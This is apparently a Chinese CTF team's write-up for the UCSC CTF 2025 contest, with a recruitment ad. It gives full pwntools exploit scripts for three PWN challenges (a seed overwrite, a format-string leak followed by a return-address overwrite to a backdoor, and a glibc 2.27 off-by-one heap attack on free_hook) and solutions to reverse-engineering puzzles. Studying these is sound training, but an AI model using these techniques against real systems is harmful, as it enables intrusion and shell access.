UCSC CTF 2025高校网络安全联合选拔赛 writeup
原创 Lier 2025-04-22 07:03 辽宁
招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
PWN
BoFido-Ucsc
操作内容:
程序里开头有seed = time(0)
获取当前时间作为随机数种子
但是下面又有一个read
的溢出,这个read的溢出可以覆盖到随机数种子seed
我将它覆盖为0
避免了时间不同步带来的影响
然后下面就是不断的获取随机数,然后要求用户输入,如果用户输入的都正确就可以直接拿到shell
from xidp import *
from ctypes import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./BoFido"
libc_path = ''
ip = '39.107.58.236:41109'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, 1)
payload = b'A' * 20 + b'B' * 12 + p32(0) # 覆盖seed为0
io.sendafter("Enter your name:", payload)
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0) # 使用固定种子
for _ in range(10):
nums = [libc.rand() % 255 for _ in range(3)]
io.sendlineafter("numbers:\n", f"{nums[0]} {nums[1]} {nums[2]}")
ia()
userlogin
操作内容:
程序设计了一个密码,用这个密码可以登入root
乍一看以为又是一个随机数绕过,又用上一题同样的方法试了一次,发现不太行,不知道是本地远程有时间差还是说libc版本不对
后来发现里面有格式化字符串漏洞
,可以用于泄露密码
然后得到密码后就可以进到root
里面使用scanf
的溢出了
还需要注意,程序里面是有后门的,不需要我们自己构建
from xidp import *
from ctypes import CDLL
import time
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '39.107.58.236:45010'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x04012B0]
#---------------------debug-------------------------------
# pwndbg(0, bps, 1)
io.sendlineafter("Password: ", "supersecureuser") #调用printf
# 构造格式化字符串Payload
payload = b'%22$p_%23$p'# 分隔符用于区分两个字符串
# pwndbg(0, bps, 1)
io.sendlineafter("Write Something\n", payload) #调用printf
# 接收泄露的字符串
io.recvuntil("0x")
str1 = int(io.recv(16), 16)
io.recvuntil("0x")
str2 = int(io.recv(16), 16)
# str1 = hex(str1)
# str2 = hex(str2)
# put(str1)
# put(str2)
passwd = (int.to_bytes(str1, 8, 'little') +
int.to_bytes(str2, 8, 'little')).decode().strip('\x00')
put(passwd)
backdoor = 0x00401265
io.sendlineafter("Password: ", passwd)
payload = b'a'*40
payload += p64(backdoor)
io.sendlineafter("Note: \n", payload)
ia()
疯狂复制
操作内容:
2.27的堆题,给的版本是Ubuntu GLIBC 2.27-3ubuntu1.6
给的漏洞是在edit
中有off-by-one
我们可以利用这个漏洞来修改chunk的size位
以此来造成堆块重叠
从而利用tcachebin没有检测的特点来控制free_hook
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn2"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'
ip = '39.107.58.236:41857'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x09B5]
#---------------------debug-------------------------------
# pwndbg(1, bps, 1)
menu = ":"
def add(idx, size):
sdla(menu, str(1))
sdla("Index: ", str(idx))
sdla("Size ", str(size)) # size不能大于0x100
def edit(idx, content):
sdla(menu, str(2))
sdla("Index: ", str(idx))
sdla("Content: ", content)
def free(idx):
sdla(menu, str(4))
sdla("Index:", str(idx))
def show(idx):
sdla(menu, str(3))
sdla("Index:", str(idx))
for i in range(7):
add(i, 0x88)
add(7, 0x88)
add(8, 0x38)
for i in range(7):
free(i)
free(7)
for i in range(7):
add(i, 0x88)
pwndbg(1, bps, 1)
add(7, 0x18)
show(7)
io.recvuntil("Content: ")
libc_offset = uu64()
leak("libc_offset")
libc_base = libc_offset - 0x3EBD20
leak("libc_base")
malloc_hook = libc_base + libc.sym['__malloc_hook']
leak("malloc_hook")
free_hook = libc_base + libc.sym['__free_hook']
leak('free_hook')
system_addr = libc_base + libc.sym['system']
leak('system_addr')
one = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[3]
leak("one_gadget")
add(9, 0x38)
add(10, 0x38)
add(11, 0x38)
add(12, 0x38)
free(12)
edit(10, b'b'*0x38 + p8(0x71))
free(11)
add(11, 0x68)
edit(11, b'c'*0x38 + p64(41) + p64(free_hook))
add(12, 0x38)
add(13, 0x38)
edit(13, p64(system_addr))
edit(12, b'/bin/sh\x00\x00')
free(12)
ia()
Reverse
re_ez-ucsc
操作内容:
rust逆向,就是个简单迷宫题目。
根据字符定位到main函数。
看起来很晕实际上就核心代码就下面一小块,
dword_7FF6BD24A000是迷宫地图,qword_7FF6BD240498是操作数组,异或前的值是与上下左右相对应的字符。#是上,"是下,!是左,‘空格’是右。
10101
10101
10101
10001
11111
根据下面地图0是路1是墙可以得出输入的字符应该是""" ###
再将刚才的字符串进行MD5计算即可
simplere-ucsc
操作内容:
查壳有壳直接脱壳,脱完壳后的程序十分清晰,输入的flag经过base58然后进行逆序异或
exp:
BASE58_ALPHABET = "wmGbyFp7WeLh2XixZUYsS5cVv1ABRrujdzQ4Kfa6gP8HJN3nTCktqEDo9M"
enc = [
0x72, 0x7A, 0x32, 0x48, 0x34, 0x4E, 0x3F, 0x3A, 0x42, 0x33,
0x47, 0x69, 0x75, 0x63, 0x7C, 0x7D, 0x77, 0x62, 0x65, 0x64,
0x7B, 0x6F, 0x62, 0x50, 0x73, 0x2B, 0x68, 0x6C, 0x67, 0x47,
0x69, 0x15, 0x42, 0x75, 0x65, 0x40, 0x76, 0x61, 0x56, 0x41,
0x11, 0x44, 0x7F, 0x19, 0x65, 0x4C, 0x40, 0x48, 0x65, 0x60,
0x01, 0x40, 0x50, 0x01, 0x61, 0x6F, 0x69, 0x57
]
# 1. 逆 sub_40176F,得到 Base58Flag
def reverse_sub_40176F(enc):
base58 = []
for i in range(len(enc)):
c = enc[i] ^ (i + 1)
base58.append(c)
base58.reverse()
return bytes(base58)
# 2. 逆 Base58 解码(使用自定义字母表)
def base58_decode_custom(b58_str, alphabet=BASE58_ALPHABET):
num = 0
for c in b58_str:
num = num * 58 + alphabet.index(c)
# 计算需要的字节数
size = (num.bit_length() + 7) // 8
return num.to_bytes(size, 'big')
def main():
base58_bytes = reverse_sub_40176F(enc)
try:
base58_str = base58_bytes.decode()
except UnicodeDecodeError:
print("[-] 解码失败,包含非法字符")
return
print(f"[+] 恢复出的 Base58Flag 为: {base58_str}")
# Base58 字符合法性验证
if not all(c in BASE58_ALPHABET for c in base58_str):
print("[-] Base58Flag 中包含不合法字符")
return
# 尝试解码为原始 flag
try:
raw_flag = base58_decode_custom(base58_str)
print(f"[+] 解码得到的原始 flag 为: {raw_flag}")
print(f"[+] flag 字符串为: {raw_flag.decode(errors='ignore')}")
except Exception as e:
print(f"[-] Base58 解码失败: {e}")
if __name__ == "__main__":
main()
easy_re-ucsc
操作内容:
签到题,直接动调
flag值:
flag{d7610b86-5205-3bf3-b0f4-84484ba74105}
easy_re-ucsc
操作内容:
也是动调签到题。
根据rc4对称加密,v5就是密文
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新